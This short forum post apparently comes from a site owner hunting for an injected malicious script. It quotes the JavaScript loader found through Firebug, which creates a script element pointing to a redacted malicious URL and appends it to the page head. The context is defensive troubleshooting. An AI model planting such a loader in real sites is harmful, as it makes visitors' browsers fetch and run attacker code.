One solution in my mind is to download the WHOLE website, then use a text searcher (like notepad++) etc.. but that is tooo inefficient, esp if the site is big
EDIT
using the FIREBUG Addon... if I double click on that malicious <script> code... I get
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = "LINK OF mALICIOUS SITE HERE";
document.getElementsByTagName("head")[0].appendChild(oScript);